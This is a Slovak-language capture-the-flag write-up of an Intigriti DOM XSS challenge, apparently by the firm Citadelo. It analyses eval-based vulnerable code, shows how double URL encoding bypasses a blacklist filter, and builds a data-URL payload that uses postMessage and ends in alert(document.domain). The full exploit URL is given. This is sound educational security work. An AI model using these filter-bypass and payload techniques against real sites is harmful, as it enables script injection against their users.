Intigriti XSS challenge write-up

Intigriti XSS challenge write-up

Intigriti bug bounty platforma zverejnila DOM XSS Challenge dostupnú na adrese Intigriti (zadanie). Cieľom bolo identifikovať a exploitovať DOM XSS zraniteľnosť. A to tak, že sa po načítaní URL sa zobrazí pop-up okno s hodnotou document.domain, v tomto prípade (challenge.intigriti.io).

Zraniteľná URL obsahovala jednoduchý JS kód:

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");

const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);

iframe.onload = function(){
    window.addEventListener("message", executeCtx, false);
}

function executeCtx(e) {
    if(e.source == iframe.contentWindow){
        e.data.location = window.location;
        Object.assign(window, e.data);
        eval(url);
    }
}

Po krátkej analýze kódu sme identifikovali:

  • vstupné hodnoty sa načítavajú z URL fragmentu -> document.location.hash.substr(1) (je to tzv. “source” - vstup používateľa)
  • následne sa vytvorí nový iframe -> document.body.appendChild(iframe)
  • identifikovali sme message event listener window.addEventListener("message", executeCtx, false); a funkciu (handler), ktorá spracuje túto udalosť function executeCtx(e)
    • handler zavolá funkciu eval(url) s používateľským vstupom (je to tzv. “sink”)

Pozrime sa bližšie na to, ako sa spracováva vstup používateľa - “source”:

const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");

Časť kódu robí nasledovné:

  • načíta vstupné údaje z URL fragmentu document.location.hash.substr(1)
    • https://challenge.intigriti.io#FRAGMENT_DATA -> FRAGMENT_DATA
  • dekóduje URL kódované údaje pomocou funkcie decodeURIComponent
    • všimneme si, že sa funkcia volá iba raz
  • dekódované údaje vstupujú do objektu URL
    • čo zabezpečuje, že to musí byť validná URL napr. https://example.com, data:text/html,content
  • následne prebieha jednoduché ošetrenie vstupu, ktoré sa snaží odstrániť potencionálne nebezpečné znaky (nezávisle na veľkosti písma) script, < and > a nahradí ich reťazcom forbidden
    • takéto ošetrenie vstupu je možné ľahko obísť, pretože sa jedná o black list techniku
    • v prípade, že bude vstup dvakrát URL kódovaní, dekódovanie prebehne iba raz a z toho dôvodu nebudú identifikované žiadne nebezpečné znaky príklad: %253Csvg onload=alert()%253E -> %3Csvg onload=alert()%3E.

Druhý riadok kódu:

const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
  • vytvorí iframe, do ktorého vstupujú údaje z URL fragmentu ako iframe.src
    • čo znamená, že vstupné údaje používateľa sú obsahom vytvoreného iframe

Zvyšok JS kódu implementuje listener a handler funkcie, pre spracovanie udalostí:

iframe.onload = function(){
    window.addEventListener("message", executeCtx, false);
}

function executeCtx(e) {
    if(e.source == iframe.contentWindow){
        e.data.location = window.location;
        Object.assign(window, e.data);
        eval(url);
    }
}

Kód vykonáva nasledovné:

  • zaregistruje sa message event listener pre iframe
    • čo zabezpečuje cross origin komunikáciu medzi Window objektami (dokumentácia)
    • čo znamená, že je možné poslať správu (údaje) iframe pomocou JS volania postMessage napr. window.postMessage({'key': 'value'}, '*')
  • handler funkcia spracuje prijaté údaje, jej implementácia je definovaná v executeCtx(e)
    • skontroluje, či správu posiela očakávaný odosielateľ, v tomto prípade objekt iframe.contentWindow
    • odosielané údaje musia byť validné napr. prázdny JSON {}
    • ošetrené vstupy používateľa z URL fragmentu url alebo iframe.src vstupujú do funkcie eval(url)

Pre úspešnú exploitáciu, musíme zabezpečiť, aby údaje z URL fragmentu mali nasledovné vlastnosti:

  • správna URL schéma
  • syntakticky správny JS kód

Pre vykonanie exploitu musíme:

  • poslať správu (post message), ktorá následne zavolá funkciu executeCtx s našim payloadom

Treba si uvedomiť, že každá URL schéma je zároveň aj syntakticky správny JS kód, pretože má rovnakú syntax ako label. Label syntax je nasledovná:

label :
   statement

URL schéma vyzerá nasledovne:

https://example.com

Je to label s komentárom // (source). Všetko za // je komentár. Avšak, v prípade, keď je možné vložiť nový riadok napr. pomocou \x0a tak sa kód vykoná, pretože to ukončí komentár a ďalej pokračuje JS kód:

eval("https://example.com\x0aalert('scheme payload')")

Alebo namiesto vloženia nového riadku môžeme použiť URL schému data. Syntax je nasledovná:

data:[<mediatype>][;base64],<data>

Pozrime si data URL schému s obsahom typu text/html, ako sa bude chovať v prípade, že ju spracujeme ako JS:

data:text/html,<svg onload=alert()>
  • vytvorí sa label data
  • delenie nedefinovaných premenných text, html
  • operátor delenia /
  • oddeľovač ,
  • chybná syntax JS <svg onload=alert()>

Avšak je možné skomponovať správnu syntax a to nasledovne:

data:text/html,/*<svg onload=alert()>*/ 1; var text=1, html=2; alert('scheme payload');

Kde vidíme:

  • komentár neočakávaných znakov (chybnej syntaxe) /*<svg onload=alert()>*/
  • placeholder 1, kvôli predchádzajúcej čiarke
  • oddelovač ;
  • definovanie premenných použitých pri delení var text=1, html=2;
  • payload alert('scheme payload');

Už nám chýba iba odoslať správu (post message), ktorá zavolá handler. Toho môžeme dosiahnuť pomocou funckie postMessage. Handler skontroluje, či bol odosielateľom správy iframe. Payload vyzerá nasledovne:

data:text/html,/*<svg onload="parent.postMessage({},'*')">*/ 1; var text=1, html=2; alert(document.domain);

Zakomentovaný reťazec /*<svg onload="parent.postMessage({},'*')">*/ je validné HTML, ktoré sa vykoná v iframe. Kód v kontexte objektu iframe odošle prázdnu správu pomocou parent.postMessage({},'*'). Táto správa je spracovaná pomocou handler funkcie executeCtx. Všetky požadované podmienky tak budú splnené:

  • zdrojom udalosti, správy, je iframe
  • URL fragment údaje sú validná URL schéma a zároveň aj validný JS kód ako vstup pre funkciu eval(url), ktorá JS kód zavolá

Výsledný payload musí byť dvakrát URL kódovaný, z dôvodu ošetrovania vstupu. Vyzerá nasledovne:

data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);

Pre vykonanie exploitu je potrebné otvoriť nasledovnú URL:

https://challenge.intigriti.io/#data:text/html,/*%253Csvg%20onload=%22parent.postMessage({},'*')%22;%253E*/1;var%20text=1,html=2;alert(document.domain);

Po načítaní sa zobrazí vyskakovanie okno s textom “challenge.intigriti.io”.

O autorovi

Citadelo
Citadelo
Citadelo je dom plný etických hackerov na vašej strane. Pomáhame otestovať ich informačnú bezpečnosť. Podrobte svoje IT prostredie výzve a odhaľte, do akej miery sú vaše citlivé dáta chránené.
Zobraziť viac od autora

Podobné blogy